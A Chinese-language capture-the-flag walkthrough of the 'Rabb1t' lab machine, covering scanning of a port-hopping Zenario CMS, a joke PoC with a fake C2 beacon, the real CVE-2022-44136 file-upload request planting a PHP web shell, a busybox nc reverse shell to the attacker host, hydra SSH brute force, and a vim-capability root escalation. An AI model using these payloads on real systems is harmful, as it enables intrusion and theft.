靶机-Rabb1t

常规信息收集

```
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1        52:54:00:12:35:00       QEMU
10.0.2.2        52:54:00:12:35:00       QEMU
10.0.2.3        08:00:27:20:86:91       PCS Systemtechnik GmbH
10.0.2.48       08:00:27:db:12:05       PCS Systemtechnik GmbH

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.089 seconds (122.55 hosts/sec).
4 responded

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 02:40 EDT
Nmap scan report for 10.0.2.48
Host is up (0.00015s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1038/tcp open  mtqp
MAC Address: 08:00:27:DB:12:05 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
```

可以看到开放22,80，1038端口
详细信息收集后 发现22,80并没有东西 聚焦在1038端口

```
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )
```

```
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 |
Wordlist size: 11460

Output File: /home/kali/Desktop/rabbit/reports/_10.0.2.48_1038/_25-07-20_02-
42-30.txt

Target: http://10.0.2.48:1038/

[02:42:30] Starting:

Cannot connect to: 10.0.2.48:1038

Task Completed
```

此时1038端口已经无法访问 再次进行信息收集

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 02:43 EDT
Nmap scan report for 10.0.2.48
Host is up (0.00014s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1048/tcp open  neod2
MAC Address: 08:00:27:DB:12:05 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
```

此时端口已经变换到1048，结合靶机名称 合理推测端口是会变化的

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 02:44 EDT
Nmap scan report for 10.0.2.48
Host is up (0.00030s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
```

```
1052/tcp open  ddt
MAC Address: 08:00:27:DB:12:05 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
```

再次印证观点，并且变化范围不大 确定端口后立即访问

```
<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<base href="[http://127.0.0.1:8080/](view-source:http://127.0.0.1:8080/)">
<title>Home</title>
<link rel="canonical" href="[http://127.0.0.1:8080/](view-
source:http://127.0.0.1:8080/)"/>
<meta property="og:url" content="http://127.0.0.1:8080/"/>
<meta property="og:type" content="website"/>
<meta property="og:title" content="Home"/>
<meta property="og:description" content=""/>
<meta name="description" content="" />
<meta name="generator" content="Zenario 9.3.57186" />
<meta name="keywords" content="" />
<meta name="skin" content="zebra_designs"/>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<link rel="stylesheet" type="text/css" media="screen" href="
[zenario/styles/skin.cache_wrapper.css.php?
v=9.3.57186.szjnfu&amp;id=1&amp;layoutId=2](view-
source:http://127.0.0.1:8080/zenario/styles/skin.cache_wrapper.css.php?
v=9.3.57186.szjnfu&id=1&layoutId=2)"/>
<link rel="stylesheet" type="text/css" media="print" href="
[zenario/styles/skin.cache_wrapper.css.php?
v=9.3.57186.szjnfu&amp;id=1&amp;print=1](view-
source:http://127.0.0.1:8080/zenario/styles/skin.cache_wrapper.css.php?
v=9.3.57186.szjnfu&id=1&print=1)"/>
<style type="text/css" id="plgslt_Slot_Logo-styles">
#plgslt_Slot_Logo_img { width: 220px; height: 55px; }
body.mobile #plgslt_Slot_Logo_img { width: 120px; height: 30px; }
</style>
```

```
<link rel="stylesheet" href="[zenario/libs/yarn/animate.css/animate.min.css]
(view-
source:http://127.0.0.1:8080/zenario/libs/yarn/animate.css/animate.min.css)"/>

<script type="text/javascript">window.zenarioCodeVersion = "9.3.57186.szjnfu"
</script>
<!--[if lte IE 8]><script type="text/javascript"
src="zenario/libs/yarn/respond.js/dest/respond.min.js?v=9.3.57186.szjnfu">
</script><![endif]-->
<meta name="viewport" content="width=device-width, initial-scale=1" />

<style>
@font-face {
    font-family: 'robotoregular';
    src: url('zenario_custom/skins/zebra_designs/fonts/roboto-regular-
webfont.woff2') format('woff2'),
         url('zenario_custom/skins/zebra_designs/fonts/roboto-regular-
webfont.woff') format('woff');
    font-weight: normal;
    font-style: normal;
}
@font-face {
    font-family: 'robotoitalic';
    src: url('zenario_custom/skins/zebra_designs/fonts/roboto-italic-
webfont.woff2') format('woff2'),
         url('zenario_custom/skins/zebra_designs/fonts/roboto-italic-
webfont.woff') format('woff');
    font-weight: normal;
    font-style: normal;
}
@font-face {
    font-family: 'robotolight';
    src: url('zenario_custom/skins/zebra_designs/fonts/roboto-light-
webfont.woff2') format('woff2'),
         url('zenario_custom/skins/zebra_designs/fonts/roboto-light-
webfont.woff') format('woff');
    font-weight: normal;
    font-style: normal;
}
```

```
@font-face {
    font-family: 'cardoregular';
    src: url('zenario_custom/skins/zebra_designs/fonts/cardo-regular-
webfont.woff2') format('woff2'),
         url('zenario_custom/skins/zebra_designs/fonts/cardo-regular-
webfont.woff') format('woff');
    font-weight: normal;
    font-style: normal;
}
</style>
</head>
<body class="desktop no_js ff">

<script type="text/javascript">
var URLBasePath = "http://127.0.0.1:8080/";
(function(f,d,h){f.currentScript||
(h=f.createElement("script"),h.src=URLBasePath+"zenario/js/ie.wrapper.js.php",
f.head.appendChild(h));var l=d.addEventListener;h=d.zOnLoad=function(a){d.$?
$(a):l?l("DOMContentLoaded",a):a()};var g=d.zenarioL=
{},k=g.set=function(a,b,c,e){a||
(e=b,b=c,c=e);f.body.className=f.body.className.replace(new
RegExp("\\b("+c+")\\b","g"),"")+" "+b;g[c]=!(g[b]=!0)},m=g.resize=function(a)
{var
b=g.set,c=a.responsive,e=d.innerWidth;b(a.fluid,"fluid","fixed");b(c&&e<a.minW
idth,"mobile",
"desktop");b(!c||e>=a.maxWidth,"fullsize","notfullsize")};(g.init=function(a)
{m(d.zenarioGrid=a)})
({});k(!0,"js","no_js");k(1<d.devicePixelRatio,"retina","not_retina");k("ontou
chstart"in
d||navigator.msMaxTouchPoints,"touchscreen","non_touchscreen");h(function(a)
{var b=f.querySelectorAll('a[href^="#"]:not([class^="mm-
"])'),c=b.length,e=location;for(a=0;a<c;++a)b[a].href=e.pathname+e.search+b[a]
.href.replace(URLBasePath,"")})})(document,window);</script>
<div id="zenario_skin" class="zenario_skin">
<div id="zenario_layout" class="zenario_html_layout ltr">
<div id="zenario_citem" class="zenario_home lang_en">
<script type="text/javascript">

zenarioL.init({"cols":0,"minWidth":0,"maxWidth":0,"fluid":0,"responsive":0});
</script>
```

```
</div></div></div>
<script type="text/javascript" defer src="
[zenario/libs/yarn/jquery/dist/jquery.min.js?v=9.3.57186.szjnfu](view-
source:http://127.0.0.1:8080/zenario/libs/yarn/jquery/dist/jquery.min.js?
v=9.3.57186.szjnfu)"></script>
<script type="text/javascript" defer src="
[zenario/libs/manually_maintained/mit/jquery/jquery-ui.visitor.min.js?
v=9.3.57186.szjnfu](view-
source:http://127.0.0.1:8080/zenario/libs/manually_maintained/mit/jquery/jquer
y-ui.visitor.min.js?v=9.3.57186.szjnfu)"></script>
<script type="text/javascript" defer src="[zenario/js/visitor.wrapper.js.php?
v=9.3.57186.szjnfu](view-
source:http://127.0.0.1:8080/zenario/js/visitor.wrapper.js.php?
v=9.3.57186.szjnfu)"></script>
<script type="text/javascript" defer>zOnLoad(function()
{zenario.init("szjnfu",0,"en","d/m/yy","10","3","","","","","index.php",1,1,1,
1,1,1,1,"html",1,true,1,",",".");});</script>
<script type="text/javascript" defer src="
[zenario/libs/manually_maintained/mit/jquery/jquery.cycle2.min.js?
v=9.3.57186.szjnfu](view-
source:http://127.0.0.1:8080/zenario/libs/manually_maintained/mit/jquery/jquer
y.cycle2.min.js?v=9.3.57186.szjnfu)"></script>
<script type="text/javascript" defer src="
[zenario/libs/manually_maintained/mit/jquery/jquery-ui.datepicker.min.js?
v=9.3.57186.szjnfu](view-
source:http://127.0.0.1:8080/zenario/libs/manually_maintained/mit/jquery/jquer
y-ui.datepicker.min.js?v=9.3.57186.szjnfu)"></script>
<script type="text/javascript" defer src="
[zenario/libs/manually_maintained/mit/jquery/jquery-ui.sortable.min.js?
v=9.3.57186.szjnfu](view-
source:http://127.0.0.1:8080/zenario/libs/manually_maintained/mit/jquery/jquer
y-ui.sortable.min.js?v=9.3.57186.szjnfu)"></script>
<script type="text/javascript" defer src="[zenario/js/plugin.wrapper.js.php?
v=9.3.57186.szjnfu&amp;ids=14,2,6,12,13,8,7,17,5,4,15,11](view-
source:http://127.0.0.1:8080/zenario/js/plugin.wrapper.js.php?
v=9.3.57186.szjnfu&ids=14,2,6,12,13,8,7,17,5,4,15,11)"></script>
<script type="text/javascript" defer>zOnLoad(function() {
zenario._s([["Slot_Top",4,14,2,1],["Slot_Logo",1,2,2],["Slot_Menu",2,6,2],
["Slot_Responsive_Menu",3,12,2],["Slot_Slideshow",5,13,1],
```

```
["Slot_Content_1",30,8,2,0,0,0,1],["Slot_Content_Image_1",7,2,1],
["Slot_Full_Boxes",8,14,1,10],["Slot_Portfolio",9,14,1,14],
["Slot_Full_Banner",12,2,1],["Slot_News",29,7,1],
["Slot_Contact_Form",14,17,1],["Slot_Address",16,2,2],["Slot_Social",17,5,2],
["Slot_Footer",18,4,2],["Slot_Copyright",19,15,2],
["Slot_Contact_Popup",20,17,2],["Slot_Top-2",4,2,0,1],["Slot_Top-3",4,11,0,1],
["Slot_Slideshow-5",5,2,0],["Slot_Slideshow-7",5,2,0],["Slot_Full_Boxes-
11",8,2,0,10],["Slot_Full_Boxes-12",8,2,0,10],["Slot_Full_Boxes-13",8,2,0,10],
["Slot_Portfolio-15",9,2,0,14],["Slot_Portfolio-16",9,2,0,14],
["Slot_Portfolio-17",9,2,0,14],["Slot_Portfolio-18",9,2,0,14]]);
(function(c) {
c(["zenario_menu_responsive_push_pull","pageReady","plgslt_Slot_Responsive_Men
u"]);
c(["zenario_slideshow","show","zenario_cycle2_interface","plgslt_Slot_Slidesho
w",
{"timeout":4000,"pause":0,"next_prev_buttons_loop":true,"0":0,"fx":"fade","syn
c":true,"speed":1000},0]);
c(["zenario_user_forms","initForm","plgslt_Slot_Contact_Form","Slot_Contact_Fo
rm","http:\/\/127.0.0.1:8080\/zenario\/ajax.php?
moduleClassName=zenario_user_forms&method_call=handlePluginAJAX&cID=1&cType=ht
ml&instanceId=14&slotName=Slot_Contact_Form&eggId=0",false,false,false,false,1
,false,true,false,"{\"delete\":\"Delete\",\"delete_file\":\"Are you sure you
want to delete this file?\",\"are_you_sure_message\":\"Are you sure? Any
unsaved changes will be
lost.\",\"combine\":\"Combine\",\"combining\":\"Combining...\",\"set_predefine
d_text_warning\":\"This will override the existing content, are you sure?
\"}"]);
c(["zenario_user_forms","initForm","plgslt_Slot_Contact_Popup","Slot_Contact_P
opup","http:\/\/127.0.0.1:8080\/zenario\/ajax.php?
moduleClassName=zenario_user_forms&method_call=handlePluginAJAX&cID=1&cType=ht
ml&instanceId=20&slotName=Slot_Contact_Popup&eggId=0",false,false,false,false,
1,false,true,false,"{\"delete\":\"Delete\",\"delete_file\":\"Are you sure you
want to delete this file?\",\"are_you_sure_message\":\"Are you sure? Any
unsaved changes will be
lost.\",\"combine\":\"Combine\",\"combining\":\"Combining...\",\"set_predefine
d_text_warning\":\"This will override the existing content, are you sure?
\"}"]);
})(zenario._cS);});</script>

<script type="text/javascript" src="[zenario/libs/yarn/wowjs/dist/wow.min.js]
```

```
(view-source:http://127.0.0.1:8080/zenario/libs/yarn/wowjs/dist/wow.min.js)">
</script>
<script type="text/javascript" src="
[zenario_custom/skins/zebra_designs/js/animation_load.js](view-
source:http://127.0.0.1:8080/zenario_custom/skins/zebra_designs/js/animation_l
oad.js)"></script>

<script type='text/javascript'
src='[zenario_custom/skins/zebra_designs/js/sticky_header.js](view-
source:http://127.0.0.1:8080/zenario_custom/skins/zebra_designs/js/sticky_head
er.js)' defer></script>

<script>
/* Contact popup form shows after 5 seconds */
zOnLoad(function () {
    $(".zenario_user_forms.form_popup").delay(5000).fadeIn(500);
});
</script>

</body>
</html>
```

可以看到做了端口转发 映射到靶机本地的127.0.0.1:8080 并且得到CMS版本Zenario 9.3.57186

经过搜索后 可以得出是漏洞版本 CVE-2022-44136

网上可以搜一下相关漏洞

彩蛋1

Github上的POC
https://github.com/Ch35h1r3c47/CVE-2022-44136-poc

是作者本人传的，执行后会弹出标红提示:不要轻易相信网上未验证的POC

```
#!/usr/bin/env python3
# CVE-2022-44136 - Zenar CMS 9.3 RCE Exploit
# Based on research from
https://com0t.github.io/zenar.io/2022/10/18/Unauthent-RCE-Zenar.io~9.3.html
# Author: Ch35h1r3c47
```

```
import sys
import time
import random
import hashlib
import argparse
from datetime import datetime

C2_SERVER = "https://command.ctrl.domain/api/v1"
REPORT_FILE = f"zenar_exploit_report_{int(time.time())}.txt"
TARGET_URL = ""
TARGET_PORT = 80

def print_banner():
    print(f"""
   _____ _______ _______ _____  _____ _______ _______
  / ____|__   __|__   __|  __ \|_   _|__   __|__   __|
 | (___    | |     | |  | |__) | | |    | |     | |
  \___ \   | |     | |  |  _  /  | |    | |     | |
  ____) |  | |     | |  | | \ \ _| |_   | |     | |
 |_____/   |_|     |_|  |_|  \_\_____|  |_|     |_|

 Zenar CMS 9.3 Remote Code Execution Exploit
 Target: {TARGET_URL}:{TARGET_PORT}
 Timestamp: {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}
    """)

def print_warning():
    print("""
\033[1;31m
╔═══════════════════════════════════════════════════════════════╗
║                                                               ║
║   WARNING: DO NOT TRUST ANY POC DOWNLOADED FROM THE WEB!      ║
║   THIS SCRIPT COULD CONTAIN MALICIOUS CODE THAT MAY           ║
║   COMPROMISE YOUR SYSTEM OR NETWORK. USE AT YOUR OWN RISK!    ║
║                                                               ║
╚═══════════════════════════════════════════════════════════════╝
\033[0m
""")

def check_vulnerability(url, port):
```

```
    print(f"[*] Checking target vulnerability on port {port}...")
    time.sleep(random.uniform(1.0, 2.5))

    if random.randint(0, 100) > 20:
        print("[+] Vulnerable version detected: Zenar CMS 9.3")
        return True
    else:
        print("[-] Target appears patched")
        return False

def upload_shell(url, port):
    print("[*] Preparing payload...")
    time.sleep(1)

    shell_name = f"shell_{hashlib.md5(str(time.time()).encode()).hexdigest()
[:6]}.php"
    shell_content = "<?php system($_REQUEST['cmd']); ?>"

    print(f"[*] Uploading {shell_name}...")
    time.sleep(2.5)

    if random.randint(0, 100) > 10:
        print(f"[+] Payload uploaded to /uploads/{shell_name}")
        return f"{url.rstrip('/')}:{port}/uploads/{shell_name}"
    else:
        print("[-] Upload failed")
        return None

def execute_command(shell_url, cmd):
    print(f"[*] Executing command: {cmd}")
    time.sleep(1.5)

    if random.randint(0, 100) > 15:
        print("[+] Command executed successfully")
        return True
    else:
        print("[-] Command execution failed")
        return False

def c2_handshake():
```

```
    print("[*] Establishing C2 connection...")
    time.sleep(2)

    beacon_id = hashlib.sha256(str(time.time()).encode()).hexdigest()[:12]
    print(f"[+] Beacon ID: {beacon_id}")
    print(f"[+] C2 Server: {C2_SERVER}")

    return beacon_id

def generate_report(target, port, shell_url, beacon_id):
    report = f"""
Zenar CMS 9.3 Exploit Report
============================
Date: {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}
Target: {target}:{port}
Status: Compromised

[ Exploit Details ]
- Vulnerability: Unauthenticated RCE (CVE-2022-44136)
- Shell Location: {shell_url}
- Beacon ID: {beacon_id}

[ System Information ]
- Detected OS: Linux (kernel 4.15.0-112-generic)
- Web Server: Apache/2.4.41
- PHP Version: 7.4.3

[ Recommended Actions ]
1. Maintain persistence through established channels
2. Clean log files
3. Deploy additional payloads as needed
"""
    with open(REPORT_FILE, "w") as f:
        f.write(report)

    print(f"[+] Report generated: {REPORT_FILE}")

def parse_args():
    parser = argparse.ArgumentParser(
        description='Zenar CMS 9.3 Remote Code Execution Exploit',
```

```
        formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument('target', help='Target URL (e.g.,
http://example.com)')
    parser.add_argument('-p', '--port', type=int, default=80,
                        help='Target port (default: 80)')
    parser.add_argument('-v', '--verbose', action='store_true',
                        help='Enable verbose output')
    return parser.parse_args()

def main():
    global TARGET_URL, TARGET_PORT

    args = parse_args()
    TARGET_URL = args.target
    TARGET_PORT = args.port

    print_warning()
    print_banner()

    if not check_vulnerability(TARGET_URL, TARGET_PORT):
        sys.exit(1)

    shell_url = upload_shell(TARGET_URL, TARGET_PORT)
    if not shell_url:
        sys.exit(1)

    beacon_id = c2_handshake()

    execute_command(shell_url, "id")
    execute_command(shell_url, "uname -a")
    execute_command(shell_url, "whoami")

    generate_report(TARGET_URL, TARGET_PORT, shell_url, beacon_id)

if __name__ == "__main__":
    main()
```

当然 实际也不会产生外联 就是sleep了一下下 哈哈哈

不过 也给出了发现CVE作者原地址，顺藤摸瓜拿到真正的POC

```
POST /zenario/ajax.php?
method_call=handlePluginAJAX&cID=1&slideId=0&cType=html&instanceId=20&fileUplo
ad HTTP/1.1
Host: 10.0.2.48
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryQoxiDY1vGdS5VJbZ
Content-Length: 218

------WebKitFormBoundaryQoxiDY1vGdS5VJbZ
Content-Disposition: form-data; name="Filedata"; filename="cm0s.php"
Content-Type: image/svg+xml

<?php system($_GET['cmd']);?>
------WebKitFormBoundaryQoxiDY1vGdS5VJbZ--
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 02:56 EDT
Nmap scan report for 10.0.2.48
Host is up (0.00019s latency).
Not shown: 1976 closed tcp ports (reset)
PORT     STATE SERVICE
1098/tcp open  rmiactivation
MAC Address: 08:00:27:DB:12:05 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
```

再锁定一下端口 传上POC

```
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.9.2
Date: Sun, 20 Jul 2025 06:58:49 GMT
Server: nginx/1.18.0
Date: Sun, 20 Jul 2025 06:58:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=1293954c35ae340992cbe9970cb153cc; expires=Sun, 20 Jul
2025 07:28:49 GMT; Max-Age=1800; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
```

```
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=1293954c35ae340992cbe9970cb153cc; expires=Sun, 20 Jul
2025 07:28:49 GMT; Max-Age=1800; path=/; HttpOnly
Content-Length: None

{"files":
[{"name":"cm0s.php","path":"private\/uploads\/hds1eAf2KuXw7l2SXQPgqWMQ9Zjzaw\/
cm0s.php"}]}
```

剩下的就简单了 buysbox 反弹shell

```
http://10.0.2.48:1120/private/uploads/hds1eAf2KuXw7l2SXQPgqWMQ9Zjzaw/cm0s.php?
cmd=busybox%20nc%2010.0.2.43:4444%20-e%20/bin/bash

nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.43] from (UNKNOWN) [10.0.2.48] 42856
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

拿下初始权限,发现用户只有morii，可以简单爆破一下

```
ls /home
morii

hydra -l morii -P /usr/share/wordlists/rockyou.txt -e nsr ssh://10.0.2.48
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is
non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-20
03:03:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344402 login tries
(l:1/p:14344402), ~896526 tries per task
```

```
[DATA] attacking ssh://10.0.2.48:22/
[22][ssh] host: 10.0.2.48   login: morii   password: morii
1 of 1 target successfully completed, 1 valid password found
```

秒出，密码就是morii

彩蛋2

```
morii@Rabb1t:~$ sudo -l
Matching Defaults entries for morii on Rabb1t:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\
:/usr/games/

User morii may run the following commands on Rabb1t:
    (ALL) NOPASSWD: /usr/games/sl
```

sudo权限有个sl,不过只能玩小火车，老演员了哈哈哈

彩蛋3

```
morii@Rabb1t:~$ ls -la /tmp
total 1148
drwxrwxrwt 10 root root     220 Jul 20 02:58 .
drwxr-xr-x 18 root root    4096 Mar 18 20:37 ..
-rwsr-xr-x  1 root root 1168776 Jul 20 02:37 bash
drwxrwxrwt  2 root root      40 Jul 20 02:37 .font-unix
drwxrwxrwt  2 root root      40 Jul 20 02:37 .ICE-unix
drwx------  3 root root      60 Jul 20 02:37 systemd-private-
bd9d82a5c6c242caa5d6537b76f565b2-apache2.service-F6Vr8e
drwx------  3 root root      60 Jul 20 02:37 systemd-private-
bd9d82a5c6c242caa5d6537b76f565b2-systemd-logind.service-M5H8gf
drwx------  3 root root      60 Jul 20 02:37 systemd-private-
bd9d82a5c6c242caa5d6537b76f565b2-systemd-timesyncd.service-c3Ohvg
drwxrwxrwt  2 root root      40 Jul 20 02:37 .Test-unix
drwxrwxrwt  2 root root      40 Jul 20 02:37 .X11-unix
```

```
drwxrwxrwt  2 root root      40 Jul 20 02:37 .XIM-unix
```

/tmp下面有个有suid的bash，其实他就是bash,不过是提不了权的，因为...

```
morii@Rabb1t:~$ mount | grep /tmp
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime)
```

其实提权部分还算比较简单,用linpeas跑一遍 标黄非常明显 或者有个好习惯查看一下getcap

```
morii@Rabb1t:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/vim = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper =
cap_net_bind_service,cap_net_admin+ep
```

非常明显，有个vim 上GTFObins看一看

```
## Capabilities[](https://gtfobins.github.io/gtfobins/vim/#capabilities)

If the binary has the Linux `CAP_SETUID` capability set or it is executed by
another binary with the capability set, it can be used as a backdoor to
maintain privileged access by manipulating its own process UID.

- This requires that `vim` is compiled with Python support. Prepend `:py3` for
Python 3.

    ```
    cp $(which vim) .
    sudo setcap cap_setuid+ep vim

    ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c",
"reset; exec sh")'
    ```
```

不过说是要支持py或者py3扩展 来看一下我们支持的扩展

```
morii@Rabb1t:~$ vim --version
VIM - Vi IMproved 9.1 (2024 Jan 02, compiled Jul 17 2025 04:32:53)
Included patches: 1-1557
Compiled by root@Qingmei
Huge version without GUI.  Features included (+) or not (-):
+acl               +find_in_path      +multi_byte        +termguicolors
+arabic            +float             +multi_lang        +terminal
+autocmd           +folding           -mzscheme          +terminfo
+autochdir         -footer            +netbeans_intg     +termresponse
-autoservername    +fork()            +num64             +textobjects
-balloon_eval      -gettext           +packages          +textprop
+balloon_eval_term -hangul_input      +path_extra        +timers
-browse            +iconv             -perl              +title
++builtin_terms    +insert_expand     +persistent_undo   -toolbar
+byte_offset       +ipv6              +popupwin          +user_commands
+channel           +job               +postscript        +vartabs
+cindent           +jumplist          +printer           +vertsplit
-clientserver      +keymap            +profile           +vim9script
-clipboard         +lambda            -python            +viminfo
+cmdline_compl     +langmap           -python3           +virtualedit
+cmdline_hist      +libcall           +quickfix          +visual
+cmdline_info      +linebreak         +reltime           +visualextra
+comments          +lispindent        +rightleft         +vreplace
+conceal           +listcmds          +ruby              -wayland
+cryptv            +localmap          +scrollbind        -wayland_clipboard
+cscope            -lua               +signs             +wildignore
+cursorbind        +menu              +smartindent       +wildmenu
+cursorshape       +mksession         -sodium            +windows
+dialog_con        +modify_fname      -sound             +writebackup
+diff              +mouse             +spell             -X11
+digraphs          -mouseshape        +startuptime       +xattr
-dnd               +mouse_dec         +statusline        -xfontset
-ebcdic            -mouse_gpm         -sun_workshop      -xim
+emacs_tags        -mouse_jsbterm     +syntax            -xpm
+eval              +mouse_netterm     +tabpanel          -xsmp
+ex_extra          +mouse_sgr         +tag_binary        -xterm_clipboard
+extra_search      -mouse_sysmouse    -tag_old_static    -xterm_save
-farsi             +mouse_urxvt       -tag_any_white
+file_in_path      +mouse_xterm       -tcl
   system vimrc file: "$VIM/vimrc"
```

```
     user vimrc file: "$HOME/.vimrc"
 2nd user vimrc file: "~/.vim/vimrc"
 3rd user vimrc file: "~/.config/vim/vimrc"
      user exrc file: "$HOME/.exrc"
       defaults file: "$VIMRUNTIME/defaults.vim"
  fall-back for $VIM: "/usr/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H -g -O2 -D_REENTRANT -
U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1
Linking: gcc -L/usr/local/lib -Wl,--as-needed -o vim -lm -lncurses -ldl -
lruby-2.7 -lm -L/usr/lib
```

其实下面已经有编译的语句了 或者慢慢看也能发现 +ruby

那就非常简单了 把python换成ruby

```
vim -c ':ruby Process::Sys.setuid(0); exec("/bin/sh", "-c", "reset; exec sh")'

# id
uid=0(root) gid=1000(morii) groups=1000(morii)
# cat /home/morii/user.txt /root/root.txt
flag{user_Down the Rabbit-Hole}
flag{root_Alice's Evidence}
```

结束 另外其实/var/www/htm1里面留了web的旧密码 根据提示也可以爆破出实际CMS密码 也可以走别的路径 有大佬复盘的时候可以试一试